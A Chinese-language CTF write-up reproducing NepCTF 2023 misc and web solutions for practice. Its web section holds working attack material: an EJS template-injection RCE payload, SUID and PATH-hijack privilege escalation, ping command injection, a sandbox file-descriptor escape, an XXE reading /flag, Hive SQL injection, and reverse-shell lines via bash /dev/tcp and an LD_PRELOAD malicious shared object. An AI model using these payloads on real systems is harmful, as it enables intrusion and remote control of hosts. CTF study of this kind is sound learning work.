NepCTF2023
Nepctf2023(复现)
比赛战队名:shimmer
MISC
checkin
NepCTF{H4ve_Fun_1N_This_Game}
与AI共舞的哈夫曼
利用AI写出对应的解压函数即可
def decompress(input_file, output_file):
with open(input_file, 'rb') as f:
# Read frequency information
num_symbols = int.from_bytes(f.read(1), byteorder='big')
frequencies = {}
for _ in range(num_symbols):
byte = int.from_bytes(f.read(1), byteorder='big')
freq = int.from_bytes(f.read(4), byteorder='big')
frequencies[byte] = freq
# Build Huffman tree
root = build_huffman_tree(frequencies)
# Read compressed data
compressed_data = ''
while True:
byte = f.read(1)
if not byte:
break
compressed_data += format(ord(byte), '08b')
current_node = root
decompressed_data = ''
for bit in compressed_data:
if bit == '0':
current_node = current_node.left
else:
current_node = current_node.right
if current_node.char is not None:
decompressed_data += chr(current_node.char)
current_node = root
with open(output_file, 'w') as f:
f.write(decompressed_data)
Nepctf{huffman_zip_666}
codes
题目要求读取环境变量
#include <stdio.h>
int main(int argc,char **argv,char **envp){
printf("the 1st envp is : %s\n",envp[0]);
return 0;
}
env被列入黑名单,修改为其他变量名即可
//最终payload
#include <stdio.h>
int main(int argc,char **argv,char **enp){
printf("the 1st envp is : %s\n",enp[12]);
return 0;
}
Nepctf{easy_codes_49260e9f-bcb8-4bb3-9a8f-7c0418978cda_[TEAM_HASH]}
小叮弹钢琴
使用audacity打开
前半段为摩斯密码,长的为-
,短的为.
,中间空的为空格
youshouldusethistoxorsomething
后半段侧过来看是一串16进制
0x370a05303c290e045005031c2b1858473a5f052117032c39230f005d1e17
根据提示把他俩异或
b= 'youshouldusethistoxorsomething'
a = [0x37,0x0a,0x05,0x30,0x3c,0x29,0x0e,0x04,0x50,0x05,0x03,0x1c,0x2b,0x18,0x58,0x47,0x3a,0x5f,0x05,0x21,0x17,0x03,0x2c,0x39,0x23,0x0f,0x00,0x5d,0x1e,0x17]
e=''
for i in range(30):
e += chr(ord(b[i])^a[i])
print(e)
NepCTF{h4ppy_p14N0}NepCTF{h4pp
陌生的语言
根据提示Atsuko Kagari,找到小魔女学院,搜索小魔女学院文字
发现新月文字
然后继续找到古龙语
NepCTF{NEPNEP_A_BELIEVING_HEART_IS_YOUR_MAGIC}
你也喜欢三月七吗
题目
啊!开拓者,这群名看起来怪怪的诶。 (伸出脑袋,凑近群名,轻轻的闻了一下)哇,好咸诶,开拓者你快来看看!
需要经过啥256处理一下
salt_lenth= 10
key_lenth= 16
iv= 88219bdee9c396eca3c637c0ea436058 #原始iv转hex的值
ciphertext= b700ae6d0cc979a4401f3dd440bf9703b292b57b6a16b79ade01af58025707fbc29941105d7f50f2657cf7eac735a800ecccdfd42bf6c6ce3b00c8734bf500c819e99e074f481dbece626ccc2f6e0562a81fe84e5dd9750f5a0bb7c20460577547d3255ba636402d6db8777e0c5a429d07a821bf7f9e0186e591dfcfb3bfedfc
解析题目:群名、咸(salt)、sha256
Key为salt(群名)用sha256加密的前16位
看代码发现iv和key
猜测是AES256
用cyberchefMode
要调为NoPadding
得到一张图片
https://img1.imgtp.com/2023/07/24/yOkXWSJT.png
搜索星穹铁道文字
(I
不容易看出是大写)
NepCTF{HRP_aIways_likes_March_7th}
ConnectedFive
看别人都说玩完就行,但还是搞不懂
EZII BASIC
题目关键词:1977年 世界上第一批大规模生产的个人电脑 BASIC语言
可以看到第十行是END
运行时把第十行修改一下
然后RUN
这里复现就不比对了
WEB(参考Boogipop的博客和官方WP)
(没环境复现,都是大佬的图,给的题目附件不会用)
ez_java_checkin
经典的shrio rememberMe反序列化
利用CC2的链去打
这里用工具一把梭
#算是非预期
cat /start.sh
#/bin/bash
export GZCTF_FLAG=NepcTF{Ezjava_Chekin}
echo $GZCTF_FLAG > /flag
export GZCTF_FLAG="HAHA,NO FLAG but boom."
su ctf -c "bash -c 'java -jar /ShiroSpring-0.0.1-SNAPSHOT.jar'"
#预期
ls /usr/bin -l|grep rws ##查找可suid提权
find suid 提权
touch /tmp/evil&find /tmp/evil -exec cat /flag \;
Post Crad For You
两篇文章了解ejs模板注入
Ejs模板引擎注入实现RCE - 先知社区 (aliyun.com)
https://inhann.top/2023/03/26/ejs/
题目代码
var path = require('path');
const fs = require('fs');
const crypto = require("crypto");
const express = require('express')
const app = express()
const port = 3000
templateDir = path.join(__dirname, 'template');
app.set('view engine', 'ejs');
app.set('template', templateDir);
function sleep(milliSeconds){
var StartTime =new Date().getTime();
let i = 0;
while (new Date().getTime() <StartTime+milliSeconds);
}
app.get('/', function(req, res) {
return res.sendFile('./index.html', {root: __dirname});
});
app.get('/create', function(req, res) {
let uuid;
let name = req.query.name ?? '';
let address = req.query.address ?? '';
let message = req.query.message ?? '';
do {
uuid = crypto.randomUUID();
} while (fs.existsSync(`${templateDir}/${uuid}.ejs`))
try {
if (name != '' && address != '' && message != '') {
let source = ["source", "source1", "source2", "source3"].sort(function(){
return 0.5 - Math.random();
})
fs.readFile(source[0]+".html", 'utf8',function(err, pageContent){
fs.writeFileSync(`${templateDir}/${uuid}.ejs`, pageContent.replace(/--ID--/g, uuid.replace(/-/g, "")));
sleep(2000);
})
} else {
res.status(500).send("Params `name` or `address` or `message` empty");
return;
}
} catch(err) {
res.status(500).send("Failed to write file");
return;
}
return res.redirect(`/page?pageid=${uuid}&name=${name}&address=${address}&message=${message}`);
});
app.get('/page', (req,res) => {
let id = req.query.pageid
if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(id) || !fs.existsSync(`${templateDir}/${id}.ejs`)) {
res.status(404).send("Sorry, no such id")
return;
}
res.render(`${templateDir}/${id}.ejs`, req.query);
})
app.listen(port, () => {
console.log(`App listening on port ${port}`)
})
关键代码
app.get('/page', (req,res) => {
let id = req.query.pageid
if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(id) || !fs.existsSync(`${templateDir}/${id}.ejs`)) {
res.status(404).send("Sorry, no such id")
return;
}
res.render(`${templateDir}/${id}.ejs`, req.query);
})
req.query
放入render
存在ejs模板注入
正常ejs模板注入是利用opts.outputFunctionName 、opts.localsName 、opts.destructuredLocals
而cve2022的Bypass
是因为他们无法通过正则,于是找到opts.escapeFunction
,使用opts.escapeFunction
要保证opts.client
不为空
此处使用cve2022的bypass (由于没有题目环境,无法确认,但应该是要绕过正则的)
payload
如下
/page?pageid=符合格式的id&name=1&address=1&message=asdasd&settings[view options][escapeFunction]=console.log;this.global.process.mainModule.require('child_process').execSync('反弹shell');&settings[view options][client]=true
独步天下-转生成为镜花水月中的王者
法一
大佬把nmap给dump下来分析
root权限命令执行
payload: nmap "asd;sh"
法二
题目提示环境变量提权
先找拥有suid权限的
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
#操作时>/dev/null会报错
只有nmap
cd /tmp
echo "/bin/sh" > ports-alive
chmod 777 ports-alive
export PATH=/tmp:$PATH
echo $PATH
nmap 127.0.0.1
一定要是ports-alive
文件,因为nmap
执行时会报错ports-alive:not found
(就是这里被坑了)
nmap会调用ports-alive
文件
独步天下-破除虚妄_探见真实
该类题为内网题目,需要使用内网工具进行内网探测 (这里无环境复现,也没有实际尝试过,也不会尝试,所以探测过程就不写了 ,下次一定)
运行ports-alive
(题目中存在的端口探测脚本)
ports-alive not found
是因为使用的是sh
而ports-alive
中是#!/bin/bash
,把该标注修改为#!/bin/sh
(那上面的nmap就不知道什么原因了)
echo "#!/bin/sh" |cat - ports-alive > temp && mv temp ports-alive
./ports-alive 192.168.200.2/24 0 100
192.168.200.1发现80和82端口
打开82端口
两处很明显能利用的地方
先尝试ping命令执行, ; && || %0a
ip_address=127.0.0.1%0als -l /
flag什么权限都没有 (用户为mysql) flag_mini什么权限也没有(用户为ctf)
第二关是读取flag_mini
大佬说尝试反弹shell回来,但这里做了一些过滤(官方说ban了chmod)
我猜测bash什么的应该是被禁用了,不然应该能直接bash反弹shell
然后想起文件上传
读取app.py
from flask import Flask, render_template, request, url_for, redirect
import os
import ctypes
import ctypes.util
import time
os.environ['FLASK_ENV'] = 'production'
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './'
lib_name='./libping.so'
def load_ping_library():
# 加载共享库
mylib = ctypes.CDLL(lib_name)
return mylib
mylib = load_ping_library()
@app.route('/')
def index():
return render_template('index.html')
@app.route('/ping', methods=['POST'])
def ping():
global mylib
ip_address = request.form['ip_address']
result = ctypes.create_string_buffer(4096*2)
mylib.ping(ip_address.encode('utf-8'), result)
return result.value.decode('utf-8')
@app.route('/upload_avatar', methods=['POST'])
def upload_avatar():
if request.headers.get('X-Forwarded-For') != '127.0.0.1':
return "You are not allowed to upload files from this IP address." + " Your IP is: " + request.headers.get('X-Forwarded-For')
if 'file' not in request.files:
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return redirect(request.url)
if not allowed_file(file.filename):
return 'Invalid file format. Only PNG files are allowed.'
# 限制文件大小为 5KB
MAX_FILE_SIZE = 5 * 1024
if len(file.read()) > MAX_FILE_SIZE:
return 'File too large. Maximum size is 5KB.'
# 将文件保存到服务器
file.seek(0) # 重置文件读取指针
file.save(os.path.join(app.config['UPLOAD_FOLDER'], 'avatar.png'))
return redirect(url_for('index'))
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() == 'png'
if __name__ == '__main__':
app.run(host='0.0.0.0',port=82,debug=False,use_reloader=False)
看到文件上传的路由,审计一下
要求X-Forwarded-For
请求头为127.0.0.1
,限定文件后缀为png,上传的png文件最后命名为avatar.png
因为要反弹shell,(可以用python,也可以用C语言)
上传png文件内容为
import os
os.popen('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"').read()
python3 avatar.png
执行文件,成功反弹shell
这里之后的内容都不理解
需要做的是提权,看一下ps -ef有什么可疑进程
查看identity源码
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/seccomp.h>
#include <openssl/md5.h>
#include <sys/resource.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdint.h>
//gcc -o test1 test1.c -lcrypto -lm -lrt
void init_dir() {
int fd=open("/home/ctf/sandbox/",O_RDONLY);
if(fd<2) {
exit(0);
}
MD5_CTX ctx;
char md5_res[17]="";
char key[100]="NEPCTF_6666";
char sandbox_dir[100]="/home/ctf/sandbox/";
char dir_name[100]="/home/ctf/sandbox/";
FILE *new_pip;
int i;
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
struct rlimit r;
r.rlim_max = r.rlim_cur = 0;
setrlimit(RLIMIT_CORE, &r);
memset(key, 0, sizeof(key));
MD5_Init(&ctx);
MD5_Update(&ctx, key, strlen(key));
MD5_Final(md5_res, &ctx);
for (int i = 0; i < 16; i++)
sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);
char cmd[100];
mkdir(dir_name, 0755);
if (chdir(dir_name)==-1) {
puts("chdir err, exiting\n");
exit(1);
}
sprintf(cmd,"%s%s","chmod 777 ",dir_name);
system(cmd);
mkdir("bin", 0777);
mkdir("lib", 0777);
mkdir("lib64", 0777);
mkdir("lib/x86_64-linux-gnu", 0777);
system("cp /bin/bash bin/sh");
system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");
system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");
system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");
system("cp /lib64/ld-linux-x86-64.so.2 lib64/");
if (chroot(".") == -1) {
puts("chroot err, exiting\n");
exit(1);
}
}
void command(int server_socket,int client_socket) {
char buf[0x666];
memset(buf,0,0x666);
write(client_socket,"Tmp-Command:",sizeof("Tmp-Command:"));
read(client_socket, buf, 0x10);
setgid(1001);
setuid(1001);
popen(buf,"w");
}
int get_ip_address(const char *interface_name, char *ip_address) {
int sockfd;
struct ifreq ifr;
// Create a socket
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("Socket creation failed");
return -1;
}
// Set the interface name in the ifreq structure
strncpy(ifr.ifr_name, interface_name, IFNAMSIZ - 1);
ifr.ifr_name[IFNAMSIZ - 1] = '\0';
// Get the IP address using the SIOCGIFADDR ioctl request
if (ioctl(sockfd, SIOCGIFADDR, &ifr) == -1) {
perror("ioctl failed");
close(sockfd);
return -1;
}
close(sockfd);
// Convert the binary IP address to a human-readable string
struct sockaddr_in *addr = (struct sockaddr_in *)&ifr.ifr_addr;
strcpy(ip_address, inet_ntoa(addr->sin_addr));
return 0;
}
int main(int argc, char **argv) {
init_dir();
int flag=1;
// Server setup
int server_socket, client_socket;
struct sockaddr_in server_addr, client_addr;
socklen_t client_len = sizeof(client_addr);
// Create socket
server_socket = socket(AF_INET, SOCK_STREAM, 0);
if (server_socket < 0) {
perror("Socket creation failed");
exit(0);
}
// Set up server address
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(9999);
// Bind socket to address and port
if (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
perror("Bind failed");
exit(0);
}
// Listen for incoming connections
if (listen(server_socket, 1) < 0) {
perror("Listen failed");
exit(0);
}
printf("Server is listening on port 9999...\n");
// Accept connection from client
client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
if (client_socket < 0) {
client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
}
char client_ip[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, INET_ADDRSTRLEN);
printf("Client connected from IP: %s\n", client_ip);
char ip_address[INET_ADDRSTRLEN];
const char *interface_name = "eth0";
if (get_ip_address(interface_name, ip_address) == 0) {
printf("IP address of eth0: %s\n", ip_address);
} else {
printf("Failed to get the IP address of eth0.\n");
}
while(flag) {
if(strcmp(client_ip,ip_address)) {
send(client_socket,"Only nc by localhost!\n",sizeof("Only nc by localhost!\n"),0);
exit(0);
} else {
flag=0;
}
}
command(server_socket,client_socket);
return 0;
监听了eth0的9999端口
文件描述符没有关闭,文件流也没关闭,可以连接父进程的openat
和fchmod
这两个内置函数
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
int main() {
const char* filename = "../../../../flag_mini";
int fd = openat(3, filename, O_CREAT | O_WRONLY);
if (fd == -1) {
// 处理打开文件失败的情况
printf("1");
}
// 更改文件权限为 777
if (fchmod(fd, S_IRWXU | S_IRWXG | S_IRWXO) == -1) {
// 处理更改文件权限失败的情况
printf("2");
}
// 使用新文件进行操作...
return 0;
}
注意,由于ctf用户运行是在沙盒里,我们也需要切换过去
cd /home/ctf/sandbox/d41d8cd98f00b204e9800998ecf8427e
echo I2luY2x1ZGUgPGZjbnRsLmg+CiNpbmNsdWRlIDxzeXMvc3RhdC5oPgojaW5jbHVkZSA8dW5pc3RkLmg+CiNpbmNsdWRlIDxzdGRpby5oPgoKaW50IG1haW4oKSB7CiAgICBjb25zdCBjaGFyKiBmaWxlbmFtZSA9ICIuLi8uLi8uLi8uLi9mbGFnX21pbmkiOwogICAgaW50IGZkID0gb3BlbmF0KDMsIGZpbGVuYW1lLCBPX0NSRUFUIHwgT19XUk9OTFkpOwogICAgaWYgKGZkID09IC0xKSB7CiAgICAgICAgLy8g5aSE55CG5omT5byA5paH5Lu25aSx6LSl55qE5oOF5Ya1CiAgICAgICAgcHJpbnRmKCIxIik7CiAgICB9CgogICAgLy8g5pu05pS55paH5Lu25p2D6ZmQ5Li6IDc3NwogICAgaWYgKGZjaG1vZChmZCwgU19JUldYVSB8IFNfSVJXWEcgfCBTX0lSV1hPKSA9PSAtMSkgewogICAgICAgIC8vIOWkhOeQhuabtOaUueaWh+S7tuadg+mZkOWksei0peeahOaDheWGtQogICAgICAgIHByaW50ZigiMiIpOwogICAgfQoKICAgIC8vIOS9v+eUqOaWsOaWh+S7tui/m+ihjOaTjeS9nC4uLgoKICAgIHJldHVybiAwOwp9|base64 -d > poc.c
gcc poc.c -o poc
eth0网卡是172.17.0.19,源码中说了,会判断我们的nc是否和eth0对应的ip一样
nc 172.17.0.19 9999
Tmp-Command:./poc
成功修改权限
Ez_include
操作一下参数得到源代码
<?php
$jump_link = $_GET['link'];
if (isset($jump_link)) {
include($jump_link. ".txt"); // More info? See "/var/www/html/hint.ini" or "./hint.ini"
} else if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (!isset($_GET['hint']) && !isset($jump_link)) {
?>
所以到底来没来? 且看 /<?php echo basename(__FILE__)?>?hint
<?php
}
?>
Boogipop大佬说一眼看出filterchain
,虽然我在比赛前不久学过filterchain,但根本不知道这里为什么要使用
这里filterchain的问题是/tmp/resources/2.txt
的内容为中文
要先对其进行base64-encode
然后再进行filterchain
接着查看phpinfo(),发现禁了一堆东西
想用rce读取根目录下的flag,boogipop大佬的方法是劫持LD_PRELOAD
POST /jump.php?link=php://filter/.....
Host: nepctf.1cepeak.cn:31227
Content-Length: 15965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTxfOtxyr9SXcCydO
Connection: close
------WebKitFormBoundaryTxfOtxyr9SXcCydO
Content-Disposition: form-data; name="file"; filename="hack.so"
Content-Type: application/octet-stream
XXXXXXX
------WebKitFormBoundaryTxfOtxyr9SXcCydO
Content-Disposition: form-data; name="1"
var_dump(scandir('/tmp'));$a=scandir("glob:///tmp/php*");$filename="/tmp/".$a[0];var_dump($filename);putenv("LD_PRELOAD=$filename");mb_send_mail("","","");
------WebKitFormBoundaryTxfOtxyr9SXcCydO--
Content-Disposition: form-data; name="submit"
submit
------WebKitFormBoundaryTxfOtxyr9SXcCydO--
编译c为恶意so文件
#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/7777 <&1'");
}
大佬执行的命令很细节,用glob伪协议去锁定php产生的临时文件,然后用mb_send_mail
触发LD劫持
最后环境变量提权,有个showmsg文件
echo "/bib/bash">cat
chmod 777 cat
echo $PATH
export PATH=/tmp:$PATH
cd /
./showmsg
Hive it
hive数据库,一看版本是2.3.2.是一个有sql注入漏洞的版本,这个版本jdbc连接hive数据库会造成注入问题
题目提示token在real_token中,boogipop大佬测出能使用union
https://cwiki.apache.org/confluence/display/Hive/LanguageManual
real_token大写绕过
"name":"1\\' union all select token from REAL_TOKEN -- "
hit_si11y_Drunkbaby
XPATH出过CVE,存在XXE
SELECT xpath('<?xml version = "1.0"?>\n<!DOCTYPE ANY [\n\t<!ENTITY f SYSTEM "file:///flag">\n]>\n<root>&f;</root>','/root/text()');
Rerference
https://nepnep-team.feishu.cn/wiki/SlmLwUflEisv6EkIkFYc9J4Ennh
[NepCTF 2023 Web WriteUp - Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2023/08/14/NepCTF 2023 All WriteUP/)